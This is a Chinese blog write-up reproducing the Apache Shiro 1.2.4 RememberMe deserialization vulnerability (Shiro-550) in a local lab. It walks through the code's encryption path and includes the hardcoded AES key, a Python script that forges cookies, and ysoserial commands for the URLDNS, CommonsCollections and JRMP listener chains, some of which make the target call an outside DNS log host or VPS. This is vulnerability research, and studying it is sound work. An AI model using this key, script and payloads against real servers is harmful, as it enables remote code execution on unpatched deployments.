F4DE F4DE
首页
技术
笔记
随笔
关于
友链
归档

F4DE

Web Security
首页
技术
笔记
随笔
关于
友链
归档
  • Java安全

    • Tomcat

    • Shiro

      • Shiro权限绕过1
      • Shiro权限绕过2
      • Shiro权限绕过3
      • Shiro权限绕过4
      • Shiro反序列化
        • 介绍
        • 环境搭建
        • 调试分析
          • 序列化加密过程
          • 反序列化解密过程
          • AES-CBC安全性
        • 测试Gadget
          • URLDNS
          • CC2
          • JRMP
        • Reference
      • 利用TemplatesImpl改造CC6攻击Shiro
      • 通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
      • 在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
    • 字节码

    • 反序列化

  • 技术
  • Java安全
  • Shiro
F4DE
2021-03-25

Shiro反序列化

Shiro漏洞复盘系列--1.2.4版本产生的反序列化安全问题。(Shiro-550)

# 介绍

Shiro对于RememberMe Cookie的处理方式如下:

image-20210324232800002

  • 检索该Cookie的值
  • Base64解码
  • AES解密
  • 使用Java中原生的ObjectInputStream反序列化

Shiro1.2.4版本及以下的AES的key是硬编码在其中的,org.apache.shiro.mgt.AbsetractRememberMeManager:

image-20210324233334049

解密AES算法还需要两个要素:

  • mode(加解密算法)
  • IV(初始化向量)

如果可以再确定以上两者,则可以通过构造Cookie的值从而触发反序列化Gadget(Shiro-550)。

# 环境搭建

下载Shiro1.2.4版本:

git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

编辑shiro\samples\web\pom.xml文件,修改jtsl版本为1.2并且加入commons-collections4依赖:

  • jstl是为了正确识别JSP标签
  • commons-collections4是为了方便后续漏洞复现
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version> 
    <scope>runtime</scope>
</dependency>

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

用IDEA导入shiro\samples\web\pom.xml项目,然后等待依赖下载,然后执行mvn install,如果出现以下错误,则需要额外在你的./m2文件夹下创建toolchains.xml,然后写入以下内容:

image-20210325192945203

<?xml version="1.0" encoding="UTF-8"?>

<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">

<!--插入下面代码-->
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
        <!--这里是你安装jdk的文件目录-->
      <jdkHome>{Your_Path}/1.6.0.jdk/</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

之后就是添加Tomcat并且配置Artifact,不再赘述,环境搭建成功之后的页面:

image-20210325193632795

# 调试分析

# 序列化加密过程

登录时勾选Remember Me:

image-20210325193813966

登录成功后就会在Cookie中发现rememberMe字段:

image-20210325193934623

在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin打下断点,发送登录请求,开始调试:

image-20210325000957209

image-20210325000822124

如果勾选了RememberMe功能,则会进入remembertIdentity方法中:

image-20210325001716672

getIndentityToRemember方法会将用户的身份信息封装成一个对象,之后传入rememberIdentity方法:

image-20210325002020908

convertPrincipalsToBytes方法会将之前得到包含用户信息的对象转化成一个bytes数组类型的对象,我们跟入该方法:

image-20210325002206022

可以看到,先将principals对象进行序列化,之后再调用encrypt方法进行加密,先跟入serialize方法,可以看到Shiro是采用了Java中原生的ObjectOutputStream#writeObject方法进行序列化的,之后返回序列化信息的bytes数组对象:

image-20210325002334553

这个bytes数组对象会传入到encrypt方法中去,接着跟进encrypt方法:

image-20210325003201299

通过getCipherService方法可以获取到一个用于加密的CipherService接口对象,这个对象是在当前类的构造方法中就完成初始化了的:

image-20210325003657499

AesCipherService间接实现了CipherService接口,并且如果再跟进的话,可以发现AesCipherService也是调用了父类的构造方法进行初始化,确定了加密方式以及mode:

image-20210325004132251

image-20210325004150470

同样在Debug控制台也可以获取到对应的信息:

image-20210325004253589

回到encrypt方法中来,接着跟进cipherService#encrypt,这里传入的第一个参数就是序列化之后的bytes数组,第二个参数就是之前提到的硬编码的AES-Key:

image-20210325004546278

通过generateInitializationVector方法获取到的其实是一个长度为16的随机字节数组,一路跟入到org.apache.shiro.crypto.JcaCipherService#generateInitializationVector:

image-20210325005140075

通过SecureRandom来生成随机数,然后写入到长度为16的字节数组中,这个数组就是AES的初始化向量(IV),随后被传入encrypt方法中去:

image-20210325005501229

org.apache.shiro.crypto.JcaCipherService#encrypt:

image-20210325082219984

在第324行中的crypt方法把序列化数据、AES-Key、IV、MODE传入方法,进行AES加密,之后再把十六字节的IV和加密后的密文encrypted进行数组的拼接:

image-20210325082500537

最后一路返回到org.apache.shiro.mgt.AbstractRememberMeManager#encrypt方法中,经上面分析可知,最好加密的结果为十六字节的IV + AES密文:

image-20210325082743615

再返回到remembertIdentity方法中,将加密完成后的整段密文传入rememberSerializedIdentity方法中:

image-20210325083414344

跟入rememberSerializedIdentity方法中,会把Base64编码之后的密文放入Cookie中:

image-20210325083506860

# 反序列化解密过程

发送只有RememberMe Cookie的请求,在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity方法中打下断点:

image-20210325093936498

Cookie等信息都封装在subjectContext对象之中,跟入rmm.getRememberedPrincipals方法:

image-20210325094251283

接着跟入getRememberedSerializedIdentity方法,在这个方法中会把请求中携带的Cookie信息提取出来进行Base64解码,然后返回解码之后的bytes数组对象:

image-20210325094521328

返回之后回到getRememberedPrincipals方法中,接着跟入convertBytesToPrincipals方法,这个方法中会把上一步得到的bytes数组进行解密,然后进行反序列化:

image-20210325094659443

跟入decrypt方法,整个流程就类似与序列化加密的过程,在获取到解密对象之后把加密的bytes数组和硬编码的AES-Key进行解密:

image-20210325094833446

跟入cipherService.decrypt方法,这个方法中会把前十六位的IV提取出来,之后用AES-Key进行解密:

image-20210325095013104

解密之后的数据回到convertBytesToPrincipals方法中,传入deserialize方法:

image-20210325095126639

跟入该方法,可以发现采用了原生ObjectInputStream#readObject方法来进行反序列化数据:

image-20210325095345775

# AES-CBC安全性

# Cookie解密

由关于AES加解密中CBC模式的IV初始化向量的安全性问题 (opens new window)这篇文章可以认识到,CBC解密的时候如果IV向量错误,只会影响第一个块的数据解密结果,而之后其他块的IV则是上一个块的加密数据。

在Shiro的RememberMe数据的第一个块就是IV向量,所以使用一个错误的IV向量来对Cookie进行解密,只会让正确的IV的解密错误,而不影响真正数据的解密结果。

# python2
import sys
import base64
from Crypto.Cipher import AES

key = "kPH+bIxk5D2deZiIxcaaaA=="
MODE = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), MODE, IV)
# cookie = "Cug6rRUP6+Nxy/zupy8zen+Npa0r/TCD5Cy40XjwlKsVUp91QqDOrGnt7KNbkUZPCG8+s780xNbX3qsy92Kjwv9RoDpZlrnbE7yBAL70bl5q0nShc/CmJeNbP/9ybToxM1cvY4UCpaLKwdourjzxCr6EvjFjtuAunpsRBBThSjIPKS6qyZj08ZY95LDA0WdSnRrDx/rCw12YgskcUIlstpPc7MPLRVjSWJ1ghIg7lXXVDLt0GeoGhsYp0kX2aANjOi3bfFv73Wuj49f5OxnLE3LrMskRI+GsynCjmZJLKb88Sjz7nByIMhZwvoCc6fmEZQyjOgnJFGlps3T+FfLkTcyoE1kvCNFfGnBLlX7TVbjo0ySB7k+6vYaQHny2yv1gZ8DyUq3+wbiIleI/RjDoHP07yiCRJHWT23/4AoYSyQAMAauW2E6Fw2/Mu+Ac3/qWLZ7LNOetqargbLwBbKc3uJJoG9Kb4KwjRjj7jmKh4GIIcRk5CujpBaiOKHfOIM/S"
print encryptor.decrypt(base64.b64decode(sys.argv[1]))

image-20210325102536864

# Cookie伪造

同理,在Cookie伪造的时候使用随机十六位IV就可以:

# python2
import sys
import base64
import uuid
from Crypto.Cipher import AES

key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)

payload = base64.b64decode(sys.argv[1])
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload = pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))

# 测试Gadget

# URLDNS

URLDNS这条Gadget不需要其他依赖支持,一般用来测试target是否存在反序列化漏洞。

使用ysoserial生成序列化数据:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://b8ftn5.dnslog.cn" |base64 |sed ':label;N;s/\n//;b label'

image-20210325112112935

再使用Cookie伪造脚本进行伪造:

image-20210325112215534

然后发送Cookie:

image-20210325112304118

image-20210325112324441

收到了DNS查询请求,URLDNS Gadget验证成功,确实存在Java反序列化漏洞。

# CC2

为了方便复现,之前本地添加了commons-collections4的依赖,而CC2这条Gadget完全依赖于commons-collections4,所以可以用CC2生成payload来测试,本地环境如下:

  • JDK 8u281
  • Tomcat 9.0.44

生成序列化数据:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc" |base64 |sed ':label;N;s/\n//;b label'

image-20210325124659250

伪造Cookie:

image-20210325124718251

发送请求:

1

# JRMP

使用mvn dependency:list命令可以查看Shiro中的依赖项,可以发现有commons-collections 3.2.1的依赖:

image-20210325145735900

但是尝试直接用ysoserial中的CC6这条Gadget生成的payload直接打的话并不能成功,而是会产生以下错误:

image-20210325145703717

参考Go low – Exploiting JVM deserialization vulns despite a broken class loader (kapsi.fi) (opens new window)可知Shiro使用的ClassLoader不允许加载任何数组类型的对象,但是ysoserial中大多数的Gadget都依赖于下面两个类:

  • ChainedTransformer:内部有一个数组类型的对象iTransformers,用于进行链式调用。

  • InvokerTransformer:内部传递给待调用的方法的参数是一个数组,但是如果方法的参数为空,则不影响使用。

【已更新!】:真实原因并不是如上所述那么简单,详细原因见下面两篇文章:

  • 强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 - zsx's Blog (zsxsoft.com) (opens new window)
  • Shiro 1.2.4 RememberMe反序列化漏洞踩坑分析(CVE-2016-4437) | Rai4over's Blog (opens new window)

简言之,是因为Tomcat类加载(classpath)的问题,导致了无法加载除Java本身自带的数组。

解决这个问题的方法是使用JRMP,在VPS上执行下面的命令,监听端口,这里先用CC2 Gadget来测试:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections2 'calc'

使用ysoserial生成序列化数据,并伪造Cookie:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "{VPS_IP}:12345"|base64 |sed ':label;N;s/\n//;b label'
···
py -2 AES-en.py {$ser_data}

本地使用JDK8u281测试JRMP失败,于是我换成了JDK1.7,同时由于Tomcat9不支持Java7,所以更换为Tomcat8:

  • JDK 1.7
  • Tomcat 8.5.64

image-20210325163717040

发送含有伪造的Cookie的请求,测试成功:

image-20210325163905782

因为我们之前手动添加了commons-collections4的依赖,所以这里使用CC2 Gadget可以成功执行命令,但是如果换成CC6 Gadget,虽然我们之前提到Shiro中含有commons-collections 3.2.1的依赖,但是本地测试并没有成功执行命令:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 "calc"

参考李三师傅的文章[shiro 反序列化复现 - 李三的剑谱](http://redteam.today/2019/09/20/shiro 反序列化复现/)可以知道,Shiro中的commons-collections 3.2.1依赖为test,而打包成war包的时候只会把compile和runtime的依赖打包,而test的依赖是在开发阶段使用的,也就是说实际运行环境中并没有commons-collections 3.2.1的依赖,原文如下:

然而本地测试的时候并未复现中,应该是gadget的问题,因为在加了commons-conllections4.0的环境用ysoserial的CommonsCollections2就可以成功。难道是环境没装好?

后来仔细看了一下,确实是环境的问题,具体原因是打包成war的时候只会把compile和runtime的打包,而test的属于开发阶段需要使用的,从而不会打进去,而这里common-conllectons恰好属于test。所以生成环境中根本没有common-conllectons,因此是不可能打成功的。

所以我们手动添加commons-collections 3.2.1的依赖,让其为compile:

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

然后再次测试:

mvn clean install
······
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "{VPS_IP}:12345"|base64 |sed ':label;N;s/\n//;b label'
py -2 AES-en.py {$ser_data}
······
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 "calc"

1

再手动添加了commons-collections 3.2.1依赖之后,这次测试成功了。

正如李三师傅所说:

纯原生的shiro只是一个反序列化的触发点,没有完整gadget。因此需要结合其它依赖shiro的项目才有可能达到RCE的效果(比如jeecms)

# Reference

感谢几位师傅详尽的分析文章,让我这个菜鸡少踩了一些坑:

笑师傅:Shiro 1.2.4 反序列化漏洞 | l3yx's blog (opens new window)

李三师傅:[shiro 反序列化复现 - 李三的剑谱](http://redteam.today/2019/09/20/shiro 反序列化复现/)

Apache Shiro Java反序列化漏洞分析 - 贫民窟的艺术家 (joychou.org) (opens new window)

Go low – Exploiting JVM deserialization vulns despite a broken class loader (kapsi.fi) (opens new window)

关于AES加解密中CBC模式的IV初始化向量的安全性问题 - 简书 (jianshu.com) (opens new window)

https://issues.apache.org/jira/browse/SHIRO-550

Shiro权限绕过4
利用TemplatesImpl改造CC6攻击Shiro

← Shiro权限绕过4 利用TemplatesImpl改造CC6攻击Shiro→

最近更新
01
在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
04-19
02
CommonsBeanUtils
04-19
03
基于Tomcat全局存储进行回显
04-16
更多文章>
Theme by Vdoing | Copyright © 2020-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×